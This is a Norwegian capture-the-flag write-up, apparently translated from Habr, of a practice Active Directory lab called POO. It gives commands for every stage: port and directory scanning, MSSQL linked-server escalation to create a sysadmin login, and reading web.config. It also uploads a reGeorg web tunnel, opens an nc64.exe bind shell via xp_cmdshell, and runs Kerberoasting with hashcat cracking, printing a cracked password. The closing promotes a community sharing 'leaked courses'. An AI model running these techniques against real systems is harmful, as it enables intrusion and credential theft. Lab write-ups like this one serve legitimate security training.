
I denne artikkelen vil vi analysere passasjen til ikke bare en maskin, men et helt minilaboratorium fra nettstedet .
Som det fremgÄr av beskrivelsen, er POO designet for Ä teste ferdigheter i alle stadier av angrep i et lite Active Directory-miljÞ. MÄlet er Ä kompromittere en tilgjengelig vert, eskalere privilegier og til slutt kompromittere hele domenet mens du samler inn 5 flagg.
Tilkobling til laboratoriet skjer via VPN. Det anbefales Ä ikke koble til fra en arbeidsdatamaskin eller fra en vert der det er data som er viktige for deg, siden du havner pÄ et privat nettverk med folk som kan noe innen informasjonssikkerhet :)
Organisasjonsinformasjon
For Ä hjelpe deg med Ä holde deg oppdatert med nye artikler, programvare og annen informasjon, har jeg laget О innen I&KB. OgsÄ dine personlige forespÞrsler, spÞrsmÄl, forslag og anbefalinger .
All informasjon presenteres kun for pedagogiske formÄl. Forfatteren av dette dokumentet pÄtar seg ikke noe ansvar for skader forÄrsaket av noen som fÞlge av bruk av kunnskap og teknikker som er oppnÄdd ved Ä studere dette dokumentet.
Intro
Dette sluttspillet bestÄr av to maskiner, og inneholder 5 flagg.

En beskrivelse og adresse til den tilgjengelige verten er ogsÄ gitt.

La oss komme i gang!
Recon flagg
Denne maskinen har IP-adressen 10.13.38.11, som jeg legger til i /etc/hosts.
10.13.38.11 poo.htb
FÞrst av alt skanner vi Äpne porter. Siden skanning av alle porter med nmap tar lang tid, vil jeg fÞrst gjÞre dette ved hjelp av masscan. Vi skanner alle TCP- og UDP-porter fra tun0-grensesnittet med en hastighet pÄ 500 pakker per sekund.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
NÄ, for Ä fÄ mer detaljert informasjon om tjenestene som kjÞrer pÄ portene, la oss kjÞre en skanning med -A-alternativet.
nmap -A poo.htb -p80,1433 
SĂ„ vi har IIS- og MSSQL-tjenester. I dette tilfellet vil vi finne ut det virkelige DNS-navnet til domenet og datamaskinen. PĂ„ webserveren blir vi mĂžtt av IIS-hjemmesiden.

La oss gÄ gjennom katalogene. Jeg bruker gobuster til dette. I parametrene angir vi antall trÄder 128 (-t), URL (-u), ordbok (-w) og utvidelser som interesserer oss (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Dette gir oss HTTP-autentisering for /admin-katalogen, i tillegg til en tilgjengelig skrivebordstjeneste .DS_Store-fil. .DS_Store er filer som lagrer egendefinerte innstillinger for en mappe, for eksempel en liste over filer, ikonplasseringer og det valgte bakgrunnsbildet. En slik fil kan havne i webserverkatalogen til webutviklere. PÄ denne mÄten fÄr vi informasjon om innholdet i katalogen. Til dette kan du bruke .
python3 dsstore_crawler.py -i http://poo.htb/ 
Vi fÄr innholdet i katalogen. Det mest interessante her er /dev-katalogen, hvorfra vi kan se pÄ kildene og db-filene i to grener. Men vi kan bruke de fÞrste 6 tegnene i fil- og katalognavn hvis tjenesten er sÄrbar for IIS ShortName. Du kan se etter dette sikkerhetsproblemet ved Ä bruke .

Og vi finner én tekstfil som starter med "poo_co". Uten at jeg visste hva jeg skulle gjÞre videre, valgte jeg bare alle ordene som begynner med "co" fra katalogordboken.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtOg vi ordner det med wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Og vi finner det rette ordet! Vi ser pÄ denne filen, lagrer legitimasjonen (ut fra DBNAME-parameteren er de fra MSSQL).

Vi gir fra oss flagget og vi rykker opp 20%.

Hehe flagg
Vi kobler til MSSQL, jeg bruker DBeaver.

Vi finner ikke noe interessant i denne databasen, la oss lage en SQL Editor og sjekke hvilke brukere det er.
SELECT name FROM master..syslogins; 
Vi har to brukere. La oss sjekke privilegiene vÄre.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Dermed er det ingen privilegier. La oss se pÄ koblede servere, jeg skrev om denne teknikken i detalj .
SELECT * FROM master..sysservers; 
Slik finner vi en annen SQL Server. La oss teste utfÞringen av kommandoer pÄ denne serveren ved Ä bruke openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Og vi kan til og med bygge et spĂžrringstre.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Poenget er at nÄr vi sender en forespÞrsel til en koblet server, blir forespÞrselen utfÞrt i sammenheng med en annen bruker! La oss se i sammenheng med hvilken bruker vi jobber pÄ en koblet server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
La oss nÄ se i hvilken sammenheng en forespÞrsel sendes fra en koblet server til vÄr!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
SĂ„ det er DBO-konteksten som skal ha alle privilegiene. La oss sjekke privilegiene i tilfelle en forespĂžrsel fra en koblet server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Som du kan se, har vi alle privilegiene! La oss lage vÄr egen admin som dette. Men de tillater det ikke gjennom openquery, la oss gjÞre det gjennom EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Og nÄ kobler vi til legitimasjonen til den nye brukeren, vi observerer den nye flaggdatabasen.

Vi overleverer dette flagget og gÄr videre.

BackTrack flagg
La oss fÄ et skall med MSSQL, jeg bruker mssqlclient fra impacket-pakken.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Vi mÄ fÄ passord, og det fÞrste vi allerede har mÞtt er en nettside. Dermed trenger vi en webserverkonfigurasjon (det er ikke mulig Ä forlate et praktisk skall, tilsynelatende kjÞrer brannmuren).

Men tilgang nektes. Selv om vi kan lese filen fra MSSQL, trenger vi bare Ä vite hvilke programmeringssprÄk som er konfigurert. Og i MSSQL-katalogen finner vi ut at det er Python.

Da er det ikke noe problem Ă„ lese web.config-filen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Med den funnet legitimasjonen, gÄ til /admin og ta flagget.


Fotfeste flagg
Faktisk er det noen ulemper ved Ä bruke en brannmur, men ser vi gjennom nettverksinnstillingene ser vi at IPv6 ogsÄ brukes!

La oss legge til denne adressen i /etc/hosts.
dead:babe::1001 poo6.htb
La oss skanne verten pÄ nytt, men ved Ä bruke IPv6-protokollen.

Og WinRM-tjenesten er tilgjengelig over IPv6. La oss koble til legitimasjonen som ble funnet.

Det er et flagg pÄ skrivebordet, vi overleverer det.

P00ned flagg
Etter Ä ha gjennomfÞrt rekognosering pÄ verten ved hjelp av Vi finner ikke noe spesielt. SÄ ble det besluttet Ä se etter legitimasjon igjen (jeg skrev ogsÄ om dette emnet ). Men jeg klarte ikke Ä fÄ alle SPN-ene fra systemet via WinRM.
setspn.exe -T intranet.poo -Q */* 
La oss kjĂžre kommandoen via MSSQL.

Ved Ä bruke denne metoden fÄr vi SPN til brukerne p00_hr og p00_adm, noe som betyr at de er sÄrbare for et angrep som Kerberoasting. Kort sagt, vi kan fÄ passordhasjene deres.
FÞrst mÄ du fÄ et stabilt skall som MSSQL-bruker. Men siden vi er begrenset i tilgang, har vi kommunikasjon med verten bare gjennom portene 80 og 1433. Men det er mulig Ä tunnelere trafikk gjennom port 80! Til dette vil vi bruke . La oss laste opp filen tunnel.aspx til hjemmekatalogen til webserveren - C:inetpubwwwroot.

Men nÄr vi prÞver Ä fÄ tilgang til den, fÄr vi en feil 404. Dette betyr at *.aspx-filer ikke kjÞres. For at filer med disse utvidelsene skal kjÞres, installer ASP.NET 4.5 som fÞlger.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Og nÄ, nÄr vi gÄr inn pÄ tunnel.aspx, fÄr vi et svar om at alt er klart til Ä gÄ.
![]()
La oss starte klientdelen av applikasjonen, som vil videresende trafikk. Vi vil videresende all trafikk fra port 5432 til serveren.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Og vi bruker proxy-kjeder til Ä sende trafikk av alle applikasjoner gjennom vÄr proxy. La oss legge til denne proxyen i konfigurasjonsfilen /etc/proxychains.conf.

La oss nÄ laste opp programmet til serveren , som vi skal lage et stabilt bindingsskall og manus med , som vi vil utfÞre et Kerberoasting-angrep med.

NĂ„ starter vi lytteren via MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Og vi kobler til via vÄr proxy.
proxychains rlwrap nc poo.htb 4321 
Og la oss fÄ hashen.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Deretter mÄ du iterere over disse hashene. Siden rockyou-ordboken ikke inneholdt disse passordene, brukte jeg ALLE passordordbÞkene som er gitt i Seclists. For sÞket bruker vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceOg vi finner begge passordene, det fĂžrste i ordboken dutch_passwordlist.txt, og det andre i Keyboard-Combinations.txt.


Og sÄ vi har tre brukere, la oss gÄ til domenekontrolleren. FÞrst finner vi ut adressen hans.

Flott, vi fant ut IP-adressen til domenekontrolleren. La oss finne ut alle brukerne av domenet, samt hvem av dem som er administrator. For Ä laste ned skriptet for Ä fÄ informasjon PowerView.ps1. Deretter kobler vi til ved Ä bruke evil-winrm, og spesifiserer katalogen med skriptet i parameteren -s. Og sÄ laster vi bare PowerView-skriptet.

NÄ har vi tilgang til alle funksjonene. p00_adm-brukeren ser ut som en privilegert bruker, sÄ vi vil jobbe i hans kontekst. La oss lage et PSCredential-objekt for denne brukeren.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNĂ„ vil alle Powershell-kommandoer der vi spesifiserer Creds bli utfĂžrt som p00_adm. La oss vise en liste over brukere og AdminCount-attributtet.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
SÄ brukeren vÄr er virkelig privilegert. La oss se hvilke grupper han er i.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Vi bekrefter endelig at brukeren er en domeneadministrator. Dette gir ham rett til Ä logge pÄ domenekontrolleren eksternt. La oss prÞve Ä logge pÄ via WinRM ved Ä bruke tunnelen vÄr. Jeg ble forvirret av feilene produsert av reGeorg nÄr jeg brukte evil-winrm.

SÄ la oss bruke en annen, enklere, for Ä koble til WinRM. La oss Äpne og endre tilkoblingsparametrene.

Vi prĂžver Ă„ koble til, og vi er i systemet.

Men det er ikke noe flagg. Se deretter pÄ brukeren og sjekk skrivebordene.

Vi finner flagget hos mr3ks og laboratoriet er 100% ferdigstilt.

Det er alt. Som en tilbakemelding, vennligst kommenter om du lĂŠrte noe nytt fra denne artikkelen og om den var nyttig for deg.
Du kan bli med oss ââpĂ„ . Der kan du finne interessant materiale, lekkede kurs, samt programvare. La oss samle et fellesskap der det vil vĂŠre mennesker som forstĂ„r mange omrĂ„der innen IT, sĂ„ kan vi alltid hjelpe hverandre med alle IT- og informasjonssikkerhetsspĂžrsmĂ„l.
Kilde: www.habr.com
